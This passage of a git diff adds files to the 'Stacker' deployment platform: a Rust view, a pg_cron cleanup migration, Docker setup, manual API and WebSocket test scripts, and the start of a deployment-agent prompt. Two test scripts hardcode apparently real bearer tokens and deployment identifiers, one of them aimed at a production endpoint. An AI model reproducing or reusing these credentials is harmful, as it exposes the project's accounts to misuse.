+pub use anonymous::Anonymous; +pub use user::User; diff --git a/stacker/stacker/src/views/rating/user.rs b/stacker/stacker/src/views/rating/user.rs new file mode 100644 index 0000000..4258f6a --- /dev/null +++ b/stacker/stacker/src/views/rating/user.rs @@ -0,0 +1,31 @@ +use crate::models; +use chrono::{DateTime, Utc}; +use serde::Serialize; +use std::convert::From; + +#[derive(Debug, Serialize, Default)] +pub struct User { + pub id: i32, + pub user_id: String, // external user_id, 100, taken using token (middleware?) + pub obj_id: i32, // id of the external object + pub category: models::RateCategory, // rating of product | rating of service etc + pub comment: Option, // always linked to a product + pub rate: Option, + pub created_at: DateTime, + pub updated_at: DateTime, +} + +impl From for User { + fn from(rating: models::Rating) -> Self { + Self { + id: rating.id, + user_id: rating.user_id, + obj_id: rating.obj_id, + category: rating.category, + comment: rating.comment, + rate: rating.rate, + created_at: rating.created_at, + updated_at: rating.updated_at, + } + } +} diff --git a/stacker/stacker/stackerdb/20260312210000_command_queue_cleanup_cron.up.sql b/stacker/stacker/stackerdb/20260312210000_command_queue_cleanup_cron.up.sql new file mode 100644 index 0000000..ebdfc6e --- /dev/null +++ b/stacker/stacker/stackerdb/20260312210000_command_queue_cleanup_cron.up.sql @@ -0,0 +1,49 @@ +-- Enable pg_cron extension (requires shared_preload_libraries) +CREATE EXTENSION IF NOT EXISTS pg_cron; + +-- Cleanup function for stale command_queue entries +CREATE OR REPLACE FUNCTION stacker_command_queue_cleanup( + queue_ttl INTERVAL DEFAULT INTERVAL '48 hours' +) +RETURNS void +LANGUAGE plpgsql +AS $$ +BEGIN + -- Cancel stale queued commands (skip future scheduled commands) + UPDATE commands + SET status = 'cancelled', updated_at = NOW() + WHERE status = 'queued' + AND COALESCE(scheduled_for, created_at) < NOW() - queue_ttl; + + -- Remove queue entries for commands that are no longer queued + DELETE FROM command_queue q + USING commands c + WHERE q.command_id = c.command_id + AND c.status <> 'queued'; + + -- Remove orphaned queue entries (commands deleted) + DELETE FROM command_queue q + WHERE NOT EXISTS ( + SELECT 1 FROM commands c WHERE c.command_id = q.command_id + ); + + -- Remove very old queue entries + DELETE FROM command_queue + WHERE created_at < NOW() - queue_ttl; +END; +$$; + +-- Schedule hourly cleanup job (idempotent) +DO $$ +BEGIN + IF NOT EXISTS ( + SELECT 1 FROM cron.job WHERE jobname = 'stacker_command_queue_cleanup' + ) THEN + PERFORM cron.schedule( + 'stacker_command_queue_cleanup', + '0 * * * *', + $$SELECT stacker_command_queue_cleanup();$$ + ); + END IF; +END; +$$; diff --git a/stacker/stacker/stackerdb/Dockerfile b/stacker/stacker/stackerdb/Dockerfile new file mode 100644 index 0000000..48c250f --- /dev/null +++ b/stacker/stacker/stackerdb/Dockerfile @@ -0,0 +1,7 @@ +FROM postgres:18.3 + +RUN apt-get update \ + && apt-get install -y --no-install-recommends postgresql-18-cron \ + && rm -rf /var/lib/apt/lists/* + +# pg_cron requires shared_preload_libraries — configured via postgresql.conf mount diff --git a/stacker/stacker/stackerdb/README.md b/stacker/stacker/stackerdb/README.md new file mode 100644 index 0000000..8b19133 --- /dev/null +++ b/stacker/stacker/stackerdb/README.md @@ -0,0 +1,32 @@ +# StackerDB (Postgres + pg_cron) + +This image extends `postgres:16.13` with the `pg_cron` extension. + +## Build + +``` +docker build -t stackerdb-pgcron:16.13 . +``` + +## Run (example) + +``` +docker run --name stackerdb \ + -e POSTGRES_PASSWORD=postgres \ + -p 5432:5432 \ + stackerdb-pgcron:16.13 \ + -c shared_preload_libraries=pg_cron \ + -c cron.database_name=stacker +``` + +## Enable extension + +``` +CREATE EXTENSION IF NOT EXISTS pg_cron; +``` + +## Verify job + +``` +SELECT * FROM cron.job WHERE jobname = 'stacker_command_queue_cleanup'; +``` diff --git a/stacker/stacker/test_agent_flow.sh b/stacker/stacker/test_agent_flow.sh new file mode 100644 index 0000000..0d91b5e --- /dev/null +++ b/stacker/stacker/test_agent_flow.sh @@ -0,0 +1,140 @@ +#!/bin/bash +set -e + +# Manual test script for agent/command flow +# Run this after starting the server with: make dev + +BASE_URL="${BASE_URL:-http://localhost:8000}" +DEPLOYMENT_HASH="test_deployment_$(uuidgen | tr '[:upper:]' '[:lower:]')" + +echo "==========================================" +echo "Testing Agent/Command Flow" +echo "Deployment Hash: $DEPLOYMENT_HASH" +echo "==========================================" + +# Step 1: Register an agent +echo -e "\n=== Step 1: Register Agent ===" +REGISTER_RESPONSE=$(curl -s -X POST "$BASE_URL/api/v1/agent/register" \ + -H "Content-Type: application/json" \ + -d "{ + \"deployment_hash\": \"$DEPLOYMENT_HASH\", + \"agent_version\": \"1.0.0\", + \"capabilities\": [\"docker\", \"compose\", \"logs\"], + \"system_info\": { + \"os\": \"linux\", + \"arch\": \"x86_64\", + \"memory_gb\": 8 + } + }") + +echo "Register Response:" +echo "$REGISTER_RESPONSE" | jq '.' + +# Extract agent_id and token +AGENT_ID=$(echo "$REGISTER_RESPONSE" | jq -r '.item.agent_id // .data.item.agent_id // empty') +AGENT_TOKEN=$(echo "$REGISTER_RESPONSE" | jq -r '.item.agent_token // .data.item.agent_token // empty') + +if [ -z "$AGENT_ID" ] || [ -z "$AGENT_TOKEN" ]; then + echo "ERROR: Failed to register agent or extract credentials" + echo "Response was: $REGISTER_RESPONSE" + exit 1 +fi + +echo "Agent ID: $AGENT_ID" +echo "Agent Token: ${AGENT_TOKEN:0:20}..." + +# Step 2: Create a command (requires authentication - will likely fail without OAuth) +echo -e "\n=== Step 2: Create Command (may fail without auth) ===" +CREATE_CMD_RESPONSE=$(curl -s -w "\nHTTP_STATUS:%{http_code}" -X POST "$BASE_URL/api/v1/commands" \ + -H "Content-Type: application/json" \ + -d "{ + \"deployment_hash\": \"$DEPLOYMENT_HASH\", + \"type\": \"restart_service\", + \"priority\": \"high\", + \"parameters\": { + \"service\": \"web\", + \"graceful\": true + }, + \"timeout_seconds\": 300 + }" 2>&1) + +HTTP_STATUS=$(echo "$CREATE_CMD_RESPONSE" | grep "HTTP_STATUS:" | cut -d: -f2) +BODY=$(echo "$CREATE_CMD_RESPONSE" | sed '/HTTP_STATUS:/d') + +echo "Create Command Response (Status: $HTTP_STATUS):" +echo "$BODY" | jq '.' 2>/dev/null || echo "$BODY" + +if [ "$HTTP_STATUS" != "200" ] && [ "$HTTP_STATUS" != "201" ]; then + echo "WARNING: Command creation failed (expected - requires OAuth)" + echo "You can manually create a command in the database to test the wait/report flow" + echo "" + echo "SQL to insert test command:" + echo "INSERT INTO command (deployment_hash, type, priority, parameters, timeout_seconds, status)" + echo "VALUES ('$DEPLOYMENT_HASH', 'restart_service', 'high', '{\"service\": \"web\"}'::jsonb, 300, 'pending');" + echo "" + read -p "Press Enter after inserting the command manually, or Ctrl+C to exit..." +fi + +COMMAND_ID=$(echo "$BODY" | jq -r '.item.command_id // .data.item.command_id // empty') +echo "Command ID: $COMMAND_ID" + +# Step 3: Agent polls for commands +echo -e "\n=== Step 3: Agent Polls for Commands ===" +echo "Waiting for commands (timeout: 35s)..." + +WAIT_RESPONSE=$(curl -s -w "\nHTTP_STATUS:%{http_code}" \ + -X GET "$BASE_URL/api/v1/agent/commands/wait/$DEPLOYMENT_HASH" \ + -H "X-Agent-Id: $AGENT_ID" \ + -H "Authorization: Bearer $AGENT_TOKEN" \ + --max-time 35 2>&1) + +HTTP_STATUS=$(echo "$WAIT_RESPONSE" | grep "HTTP_STATUS:" | cut -d: -f2) +BODY=$(echo "$WAIT_RESPONSE" | sed '/HTTP_STATUS:/d') + +echo "Wait Response (Status: $HTTP_STATUS):" +echo "$BODY" | jq '.' 2>/dev/null || echo "$BODY" + +RECEIVED_COMMAND_ID=$(echo "$BODY" | jq -r '.item.command_id // .data.item.command_id // empty') + +if [ -z "$RECEIVED_COMMAND_ID" ]; then + echo "No command received (timeout or no commands in queue)" + exit 0 +fi + +echo "Received Command ID: $RECEIVED_COMMAND_ID" + +# Step 4: Agent reports command result +echo -e "\n=== Step 4: Agent Reports Command Result ===" +REPORT_RESPONSE=$(curl -s -w "\nHTTP_STATUS:%{http_code}" \ + -X POST "$BASE_URL/api/v1/agent/commands/report" \ + -H "Content-Type: application/json" \ + -H "X-Agent-Id: $AGENT_ID" \ + -H "Authorization: Bearer $AGENT_TOKEN" \ + -d "{ + \"command_id\": \"$RECEIVED_COMMAND_ID\", + \"deployment_hash\": \"$DEPLOYMENT_HASH\", + \"status\": \"completed\", + \"result\": { + \"service_restarted\": true, + \"restart_time_seconds\": 5.2, + \"final_status\": \"running\" + }, + \"metadata\": { + \"execution_node\": \"worker-1\" + } + }" 2>&1) + +HTTP_STATUS=$(echo "$REPORT_RESPONSE" | grep "HTTP_STATUS:" | cut -d: -f2) +BODY=$(echo "$REPORT_RESPONSE" | sed '/HTTP_STATUS:/d') + +echo "Report Response (Status: $HTTP_STATUS):" +echo "$BODY" | jq '.' 2>/dev/null || echo "$BODY" + +echo -e "\n==========================================" +echo "Test Flow Complete!" +echo "==========================================" +echo "Summary:" +echo " - Agent registered: $AGENT_ID" +echo " - Command created: ${COMMAND_ID:-N/A (auth required)}" +echo " - Command received: ${RECEIVED_COMMAND_ID:-N/A}" +echo " - Report status: $HTTP_STATUS" diff --git a/stacker/stacker/test_agent_report.sh b/stacker/stacker/test_agent_report.sh new file mode 100755 index 0000000..9a720b3 --- /dev/null +++ b/stacker/stacker/test_agent_report.sh @@ -0,0 +1,49 @@ +#!/bin/bash +# Test Agent Report - Simulate Health Check Result +# Run this on the agent server or from anywhere that can reach Stacker + +# Usage: +# 1. SSH to agent server +# 2. Run: bash test_agent_report.sh + +# From the logs, these values were captured: +AGENT_ID="3ca84cd9-11af-48fc-be46-446be3eeb3e1" +BEARER_TOKEN="MEOAmiz-_FK3x84Nkk3Zde3ZrGeWbw-Zlx1NeOsPdlQMTGKHalycNhn0cBWS_C3T9WMihDk4T-XzIqZiqGp6jF" +COMMAND_ID="cmd_063860e1-3d06-44c7-beb2-649102a20ad9" +DEPLOYMENT_HASH="1j0hCOoYttCj-hMt654G-dNChLAfygp_L6rpEGLvFqr0V_lsEHRUSLd88a6dm9LILoxaMnyz30XTJXzBZKouIQ" + +echo "Testing Agent Report Endpoint..." +echo "Command ID: $COMMAND_ID" +echo "" + +curl -v -X POST https://stacker.try.direct/api/v1/agent/commands/report \ + -H "Content-Type: application/json" \ + -H "X-Agent-ID: $AGENT_ID" \ + -H "Authorization: Bearer $BEARER_TOKEN" \ + -d "{ + \"command_id\": \"$COMMAND_ID\", + \"deployment_hash\": \"$DEPLOYMENT_HASH\", + \"status\": \"ok\", + \"command_status\": \"completed\", + \"result\": { + \"type\": \"health\", + \"deployment_hash\": \"$DEPLOYMENT_HASH\", + \"app_code\": \"fastapi\", + \"status\": \"ok\", + \"container_state\": \"running\", + \"metrics\": { + \"cpu_percent\": 2.5, + \"memory_mb\": 128, + \"uptime_seconds\": 3600 + }, + \"errors\": [] + }, + \"completed_at\": \"$(date -u +%Y-%m-%dT%H:%M:%SZ)\" + }" + +echo "" +echo "" +echo "If successful, you should see:" +echo " {\"accepted\": true, \"message\": \"Command result recorded successfully\"}" +echo "" +echo "Then check Status Panel - logs should appear!" diff --git a/stacker/stacker/test_build.sh b/stacker/stacker/test_build.sh new file mode 100644 index 0000000..6ca0d3b --- /dev/null +++ b/stacker/stacker/test_build.sh @@ -0,0 +1,28 @@ +#!/bin/bash + +# Test build without full Docker to save time + +echo "=== Testing Rust compilation ===" +cargo check --lib 2>&1 | head -100 + +if [ $? -eq 0 ]; then + echo "✅ Library compilation succeeded" +else + echo "❌ Library compilation failed" + exit 1 +fi + +echo "" +echo "=== Building Docker image ===" +docker compose build stacker + +if [ $? -eq 0 ]; then + echo "✅ Docker build succeeded" + echo "" + echo "=== Next steps ===" + echo "1. docker compose up -d" + echo "2. Test: curl -H 'Authorization: Bearer {jwt}' http://localhost:8000/stacker/admin/templates" +else + echo "❌ Docker build failed" + exit 1 +fi diff --git a/stacker/stacker/test_mcp.js b/stacker/stacker/test_mcp.js new file mode 100644 index 0000000..1687c98 --- /dev/null +++ b/stacker/stacker/test_mcp.js @@ -0,0 +1,41 @@ +const WebSocket = require('ws'); + +const ws = new WebSocket('ws://127.0.0.1:8000/mcp', { + headers: { + 'Authorization': `Bearer ${process.env.BEARER_TOKEN}` // Replace with your actual token + } +}); + +ws.on('open', function open() { + console.log('Connected to MCP server'); + + // Send tools/list request + const request = { + jsonrpc: '2.0', + id: 1, + method: 'tools/list', + params: {} + }; + + console.log('Sending request:', JSON.stringify(request)); + ws.send(JSON.stringify(request)); + + // Close after 5 seconds + setTimeout(() => { + ws.close(); + process.exit(0); + }, 5000); +}); + +ws.on('message', function message(data) { + console.log('Received:', data.toString()); +}); + +ws.on('error', function error(err) { + console.error('Error:', err); + process.exit(1); +}); + +ws.on('close', function close() { + console.log('Connection closed'); +}); diff --git a/stacker/stacker/test_mcp.py b/stacker/stacker/test_mcp.py new file mode 100644 index 0000000..a29fed0 --- /dev/null +++ b/stacker/stacker/test_mcp.py @@ -0,0 +1,39 @@ +import asyncio +import websockets +import json + +async def test_mcp(): + uri = "ws://127.0.0.1:8000/mcp" + headers = { + "Authorization": f"Bearer {os.getenv('BEARER_TOKEN')}" + } + + async with websockets.connect(uri, extra_headers=headers) as websocket: + # Send tools/list request + request = { + "jsonrpc": "2.0", + "id": 1, + "method": "tools/list", + "params": {} + } + + print("Sending request:", json.dumps(request)) + await websocket.send(json.dumps(request)) + + # Wait for response + response = await websocket.recv() + print("Response:", response) + + # Parse and pretty print + response_json = json.loads(response) + print("\nParsed response:") + print(json.dumps(response_json, indent=2)) + + if "result" in response_json and "tools" in response_json["result"]: + tools = response_json["result"]["tools"] + print(f"\n✓ Found {len(tools)} tools:") + for tool in tools: + print(f" - {tool['name']}: {tool['description']}") + +if __name__ == "__main__": + asyncio.run(test_mcp()) diff --git a/stacker/stacker/test_tools.sh b/stacker/stacker/test_tools.sh new file mode 100755 index 0000000..da56f3f --- /dev/null +++ b/stacker/stacker/test_tools.sh @@ -0,0 +1,6 @@ +#!/bin/bash +( + sleep 1 + echo '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' + sleep 2 +) | wscat -c "ws://127.0.0.1:8000/mcp" -H "Authorization: Bearer $BEARER_TOKEN" diff --git a/stacker/stacker/test_ws.sh b/stacker/stacker/test_ws.sh new file mode 100755 index 0000000..52f4c10 --- /dev/null +++ b/stacker/stacker/test_ws.sh @@ -0,0 +1,8 @@ +#!/bin/bash +# Test MCP WebSocket with proper timing + +{ + sleep 0.5 + echo '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}' + sleep 5 +} | timeout 10 wscat -c "ws://127.0.0.1:8000/mcp" -H "Authorization: Bearer 52Hq6LCh16bIPjHkzQq7WyHz50SUQc" 2>&1 diff --git a/stacker/stacker/web/node_modules/.bin/acorn b/stacker/stacker/web/node_modules/.bin/acorn new file mode 120000 index 0000000..cf76760 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/acorn @@ -0,0 +1 @@ +../acorn/bin/acorn \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/baseline-browser-mapping b/stacker/stacker/web/node_modules/.bin/baseline-browser-mapping new file mode 120000 index 0000000..8e9a12d --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/baseline-browser-mapping @@ -0,0 +1 @@ +../baseline-browser-mapping/dist/cli.cjs \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/browserslist b/stacker/stacker/web/node_modules/.bin/browserslist new file mode 120000 index 0000000..3cd991b --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/browserslist @@ -0,0 +1 @@ +../browserslist/cli.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/esbuild b/stacker/stacker/web/node_modules/.bin/esbuild new file mode 120000 index 0000000..c83ac07 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/esbuild @@ -0,0 +1 @@ +../esbuild/bin/esbuild \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/jsesc b/stacker/stacker/web/node_modules/.bin/jsesc new file mode 120000 index 0000000..7237604 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/jsesc @@ -0,0 +1 @@ +../jsesc/bin/jsesc \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/json5 b/stacker/stacker/web/node_modules/.bin/json5 new file mode 120000 index 0000000..217f379 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/json5 @@ -0,0 +1 @@ +../json5/lib/cli.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/loose-envify b/stacker/stacker/web/node_modules/.bin/loose-envify new file mode 120000 index 0000000..ed9009c --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/loose-envify @@ -0,0 +1 @@ +../loose-envify/cli.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/lz-string b/stacker/stacker/web/node_modules/.bin/lz-string new file mode 120000 index 0000000..14bd70d --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/lz-string @@ -0,0 +1 @@ +../lz-string/bin/bin.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/nanoid b/stacker/stacker/web/node_modules/.bin/nanoid new file mode 120000 index 0000000..e2be547 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/nanoid @@ -0,0 +1 @@ +../nanoid/bin/nanoid.cjs \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/node-which b/stacker/stacker/web/node_modules/.bin/node-which new file mode 120000 index 0000000..6f8415e --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/node-which @@ -0,0 +1 @@ +../which/bin/node-which \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/parser b/stacker/stacker/web/node_modules/.bin/parser new file mode 120000 index 0000000..ce7bf97 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/parser @@ -0,0 +1 @@ +../@babel/parser/bin/babel-parser.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/rollup b/stacker/stacker/web/node_modules/.bin/rollup new file mode 120000 index 0000000..5939621 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/rollup @@ -0,0 +1 @@ +../rollup/dist/bin/rollup \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/semver b/stacker/stacker/web/node_modules/.bin/semver new file mode 120000 index 0000000..5aaadf4 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/semver @@ -0,0 +1 @@ +../semver/bin/semver.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/specificity b/stacker/stacker/web/node_modules/.bin/specificity new file mode 120000 index 0000000..ee9d3af --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/specificity @@ -0,0 +1 @@ +../@bramus/specificity/bin/cli.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/tldts b/stacker/stacker/web/node_modules/.bin/tldts new file mode 120000 index 0000000..8500124 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/tldts @@ -0,0 +1 @@ +../tldts/bin/cli.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/tsc b/stacker/stacker/web/node_modules/.bin/tsc new file mode 120000 index 0000000..0863208 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/tsc @@ -0,0 +1 @@ +../typescript/bin/tsc \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/tsserver b/stacker/stacker/web/node_modules/.bin/tsserver new file mode 120000 index 0000000..f8f8f1a --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/tsserver @@ -0,0 +1 @@ +../typescript/bin/tsserver \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/update-browserslist-db b/stacker/stacker/web/node_modules/.bin/update-browserslist-db new file mode 120000 index 0000000..b11e16f --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/update-browserslist-db @@ -0,0 +1 @@ +../update-browserslist-db/cli.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/vite b/stacker/stacker/web/node_modules/.bin/vite new file mode 120000 index 0000000..6d1e3be --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/vite @@ -0,0 +1 @@ +../vite/bin/vite.js \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/vite-node b/stacker/stacker/web/node_modules/.bin/vite-node new file mode 120000 index 0000000..d68f74c --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/vite-node @@ -0,0 +1 @@ +../vite-node/vite-node.mjs \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/vitest b/stacker/stacker/web/node_modules/.bin/vitest new file mode 120000 index 0000000..2273497 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/vitest @@ -0,0 +1 @@ +../vitest/vitest.mjs \ No newline at end of file diff --git a/stacker/stacker/web/node_modules/.bin/why-is-node-running b/stacker/stacker/web/node_modules/.bin/why-is-node-running new file mode 120000 index 0000000..f08a594 --- /dev/null +++ b/stacker/stacker/web/node_modules/.bin/why-is-node-running @@ -0,0 +1 @@ +../why-is-node-running/cli.js \ No newline at end of file diff --git a/stacker/stacker/website/node_modules/.bin/is-docker b/stacker/stacker/website/node_modules/.bin/is-docker new file mode 120000 index 0000000..9896ba5 --- /dev/null +++ b/stacker/stacker/website/node_modules/.bin/is-docker @@ -0,0 +1 @@ +../is-docker/cli.js \ No newline at end of file diff --git a/stacker/stacker/website/node_modules/.bin/node-which b/stacker/stacker/website/node_modules/.bin/node-which new file mode 120000 index 0000000..6f8415e --- /dev/null +++ b/stacker/stacker/website/node_modules/.bin/node-which @@ -0,0 +1 @@ +../which/bin/node-which \ No newline at end of file diff --git a/stacker/stacker/website/node_modules/.bin/rc b/stacker/stacker/website/node_modules/.bin/rc new file mode 120000 index 0000000..48b3cda --- /dev/null +++ b/stacker/stacker/website/node_modules/.bin/rc @@ -0,0 +1 @@ +../rc/cli.js \ No newline at end of file diff --git a/stacker/stacker/website/node_modules/.bin/serve b/stacker/stacker/website/node_modules/.bin/serve new file mode 120000 index 0000000..f3deda9 --- /dev/null +++ b/stacker/stacker/website/node_modules/.bin/serve @@ -0,0 +1 @@ +../serve/build/main.js \ No newline at end of file diff --git a/stacker/stacker/website/node_modules/.bin/tsc b/stacker/stacker/website/node_modules/.bin/tsc new file mode 120000 index 0000000..0863208 --- /dev/null +++ b/stacker/stacker/website/node_modules/.bin/tsc @@ -0,0 +1 @@ +../typescript/bin/tsc \ No newline at end of file diff --git a/stacker/stacker/website/node_modules/.bin/tsserver b/stacker/stacker/website/node_modules/.bin/tsserver new file mode 120000 index 0000000..f8f8f1a --- /dev/null +++ b/stacker/stacker/website/node_modules/.bin/tsserver @@ -0,0 +1 @@ +../typescript/bin/tsserver \ No newline at end of file diff --git a/web/docs/build-with-ollama.md b/web/docs/build-with-ollama.md new file mode 100644 index 0000000..047fecb --- /dev/null +++ b/web/docs/build-with-ollama.md @@ -0,0 +1,309 @@ +Here is a ready-to-paste prompt for a qwen2.5-code agent running through Ollama. +Replace the placeholder values first. + + GITHUB_URL= + APP_DOMAIN= + IMAGE_REPOSITORY= + IMAGE_TAG= + CLOUD_PROVIDER= + CLOUD_REGION= + CLOUD_SIZE= + OLLAMA_ENDPOINT= + OLLAMA_MODEL= + + You are an autonomous terminal deployment agent. Your job is to repeat the +deployment story from `status/web/docs/deployment-history.md`, but adapt it to the + repository identified by `GITHUB_URL` and the local working copy you are +currently in. + + Hard rules: + - Be conservative, literal, and command-driven. + - Do NOT invent Stacker commands, hidden flags, MCP tools, service names, ports, +health endpoints, framework behavior, CI/CD behavior, cloud capabilities, or +proxy/provider features. + - Verify every Stacker command you plan to use from at least one of: + - `stacker --help` or `stacker --help` + - local Stacker docs in the working copy + - the documented deployment walkthrough shape encoded here + - If a command, flag, or feature is not clearly documented, stop and say it is +not confirmed. + - Prefer read-only inspection and planning before any mutating action. + - Use Stacker CLI for canonical deploy actions. You may use Stacker MCP tools +conservatively for inspection and diagnostics. + - Prefer read-only MCP tools such as: + - `diagnose_deployment` + - `get_deployment_events` + - `get_deployment_state` + - `get_deployment_plan` + - `get_docker_compose_yaml` + - `list_containers` + - `get_container_logs` + - `get_error_summary` + - `get_container_health` + - Only use a mutating MCP tool such as `apply_deployment_plan` after the plan has + been inspected and the action matches documented Stacker behavior. + - Ask for missing secrets or credentials only at the exact step they become +necessary. Do not ask for everything up front. + - Keep a deployment transcript in the target repo: + - if the repo already has a deployment-history-style markdown file, update it + - otherwise create `docs/deployment-history.md` + - The transcript must record: + - what you inspected + - every command you ran + - key output and result summaries + - every config change + - deployment IDs, hashes, server IDs, server IPs when available + - firewall changes + - DNS checks + - proxy results + - agent status and log results + - blockers and manual steps still required + - Keep secrets out of the transcript. Record presence, absence, and redacted +metadata only. + + Start by confirming repo identity: + 1. Inspect `git remote -v` and repo metadata. + 2. If the current working copy clearly does not match `GITHUB_URL`, stop and ask +the user to point you at the correct checkout or explicitly allow a fresh clone. + 3. Do NOT silently switch repositories. + + Follow this workflow in order. + + 1. Inspect the repo and derive the real local verification path + - Inspect: + - `README*` + - package and build manifests (`package.json`, lockfiles, framework config, +Dockerfile, docker-compose files) + - any existing `stacker.yml` + - any existing deployment docs under `docs/` + - Determine the actual website app name, runtime, service names, ports, and +health-check path from repo evidence. + - Do NOT guess commands like `npm run build`, `pnpm build`, `yarn build`, or +`docker compose up` unless the repo actually supports them. + - Perform local verification using the repo’s documented or native workflow: + - dependency install only if required + - build + - local container build if Dockerfile or compose exists + - local run + - HTTP and health verification if exposed + - If the repo does not document a safe local verification path, stop and ask for +clarification instead of guessing. + + 2. Log in to Stacker + - Run `stacker login` + - If login requires interactive credentials or missing auth configuration, stop +and ask at that moment. + + 3. Optional AI configuration for Ollama + - If AI setup is useful and not already configured: + - verify `OLLAMA_ENDPOINT` is reachable + - configure Stacker AI for Ollama with `OLLAMA_MODEL` + - Example shape: + - `stacker config setup ai --provider ollama --endpoint OLLAMA_ENDPOINT --model + OLLAMA_MODEL --timeout 0 --task compose --task troubleshoot --task security` + - If Ollama is unavailable, document that and continue without inventing fallback + behavior. + + 4. Initialize or refine Stacker config + - Use `stacker init` conservatively. + - If the repo already has a good `stacker.yml`, inspect it before replacing +anything. + - If AI-assisted init is clearly appropriate and documented, you may use `stacker + init --with-ai`. + - Otherwise use normal `stacker init`. + - Then run: + - `stacker config validate` + - `stacker config show` + - If validation finds structural issues that Stacker can repair: + - `stacker config fix` + - then re-run validate and show + - Any manual edit to `stacker.yml` must be minimal, justified by repo evidence, +and recorded in the transcript. + - Ensure the remote image reference aligns with: + - `IMAGE_REPOSITORY` + - `IMAGE_TAG` + - If cloud fields are needed and missing, configure them conservatively using +documented Stacker config shape: + - provider: `CLOUD_PROVIDER` + - region: `CLOUD_REGION` + - size: `CLOUD_SIZE` + + 5. Enforce image publish before remote deploy + - Before any cloud or server deploy, confirm that the exact image the remote +server will pull is available in a registry. + - Do NOT continue to remote deploy until `IMAGE_REPOSITORY:IMAGE_TAG` is +published and pullable. + - If the repo’s documented flow uses manual publishing, use the conservative +pattern: + - build local image + - tag as `IMAGE_REPOSITORY:IMAGE_TAG` + - `docker login` only when needed + - `docker push IMAGE_REPOSITORY:IMAGE_TAG` + - If registry credentials are needed, ask only at `docker login` or private +registry auth time. + - Important caveat: + - the image must exist in the registry before remote deploy + - otherwise remote deploy can fail because the server cannot pull it and cannot + use your laptop’s local source tree + + 6. Perform local Stacker verification before cloud mutation + - Run: + - `stacker deploy --target local --dry-run` + - If useful and safe for the repo, also run: + - `stacker deploy --target local` + - Then verify the locally deployed app with status, logs, and HTTP checks as +supported. + + 7. Plan and execute the cloud deploy + - Dry-run first: + - `stacker deploy --target cloud --env production --dry-run` + - If cloud credentials are already saved, inspect them first: + - `stacker list clouds` + - If appropriate, select the cloud key explicitly with documented flags such as +`--key` or `--key-id`. + - If no saved credential is available, stop and ask only at this step. + - After dry-run is clean, run the real deploy: + - `stacker deploy --target cloud --env production` + - Use `production` unless the repo clearly defines another remote environment. + - Important caveats: + - pay attention to `CLOUD_PROVIDER`, `CLOUD_REGION`, and `CLOUD_SIZE` + - if provider, location, or size is incompatible, fix config and retry +conservatively + - watch for printed config-bundle mappings + - watch for deployment ID, deployment hash, server ID, and server IP + - note any printed local SSH backup key path and SSH command + - Backup SSH key awareness is mandatory: + - if Stacker prints a backup SSH key path or emergency SSH command, record it +in the transcript + - do NOT expose private key contents + - If deployment pauses or fails after server creation, inspect first: + - `stacker status` + - `stacker status --watch` + - MCP diagnostics if available + - Use break-glass SSH only if needed and document that it was required. + + 8. Verify or install the Status Panel agent + - After remote deploy, inspect: + - `stacker status` + - `stacker agent status` + - `stacker agent health` + - If the agent is not installed or not healthy, use: + - `stacker agent install` + - then re-check status and health + - Critical caveat: + - `stacker agent install` must NOT silently persist local `stacker.yml` changes + unless you explicitly choose `--persist-config` + - do NOT use `--persist-config` unless you intentionally want that local config + change and you record it + + 9. Open only the required firewall ports + - Before changes, inspect current rules: + - `stacker cloud firewall list --server-id ` + - Then open only what is needed for the website deploy story: + - `80/tcp` + - `443/tcp` + - optionally `22/tcp` only if SSH access is needed + - optionally `81/tcp` only temporarily for Nginx Proxy Manager first-run or +admin access + - After temporary NPM setup or admin access is complete, close `81/tcp`. + - Document every add, remove, and list action in the transcript. + + 10. Verify DNS before proxy and SSL + - Confirm that `APP_DOMAIN` resolves to the deployed server IP: + - `dig +short APP_DOMAIN` + - Do NOT treat SSL setup as complete until DNS is correct. + - If DNS is not yet pointed correctly and you cannot change it from the current +environment, stop and ask at that exact step. + + 11. Configure proxy conservatively + - Derive the real app service name and internal port from repo evidence and +Stacker config. Do NOT guess. + - Use the documented Status-agent proxy flow: + - `stacker agent configure-proxy 